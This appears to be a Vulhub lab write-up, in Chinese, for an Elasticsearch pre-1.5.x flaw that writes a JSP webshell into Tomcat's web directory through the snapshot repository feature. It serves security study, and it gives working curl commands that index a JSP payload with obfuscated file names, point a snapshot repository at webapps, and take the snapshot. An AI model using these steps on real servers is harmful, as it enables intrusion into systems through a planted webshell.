Elasticsearch寫入webshell漏洞(WooYun-2015-110216)
Path elasticsearch/WooYun-2015-110216
原理
ElasticSearch具有備份數據的功能,用戶可以傳入一個路徑,讓其將數據備份到該路徑下,且文件名和后綴都可控。
所以,如果同文件系統下還跑著其他服務,如Tomcat、PHP等,我們可以利用ElasticSearch的備份功能寫入一個webshell。
和CVE-2015-5531類似,該漏洞和備份倉庫有關。在elasticsearch1.5.1以后,其將備份倉庫的根路徑限制在配置文件的配置項path.repo中,而且如果管理員不配置該選項,則默認不能使用該功能。即使管理員配置了該選項,web路徑如果不在該目錄下,也無法寫入webshell。所以該漏洞影響的ElasticSearch版本是1.5.x以前。
測試環境
編譯與啟動測試環境:
docker-compose build
docker-compose up -d
簡單介紹一下本測試環境。本測試環境同時運行了Tomcat和ElasticSearch,Tomcat目錄在/usr/local/tomcat,web目錄是/usr/local/tomcat/webapps;ElasticSearch目錄在/usr/share/elasticsearch。
我們的目標就是利用ElasticSearch,在/usr/local/tomcat/webapps目錄下寫入我們的webshell。
測試流程
首先創建一個惡意索引文檔:
curl -XPOST http://127.0.0.1:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'
再創建一個惡意的存儲庫,其中location的值即為我要寫入的路徑。
園長:這個Repositories的路徑比較有意思,因為他可以寫到可以訪問到的任意地方,并且如果這個路徑不存在的話會自動創建。那也就是說你可以通過文件訪問協議創建任意的文件夾。這里我把這個路徑指向到了tomcat的web部署目錄,因為只要在這個文件夾創建目錄Tomcat就會自動創建一個新的應用(文件名為wwwroot的話創建出來的應用名稱就是wwwroot了)。
curl -XPUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'
存儲庫驗證并創建:
curl -XPUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'
完成!
訪問http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp,這就是我們寫入的webshell。
該shell的作用是向wwwroot下的test.jsp文件中寫入任意字符串,如:http://127.0.0.1:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success,我們再訪問/wwwroot/test.jsp就能看到success了:

Vulhub 文檔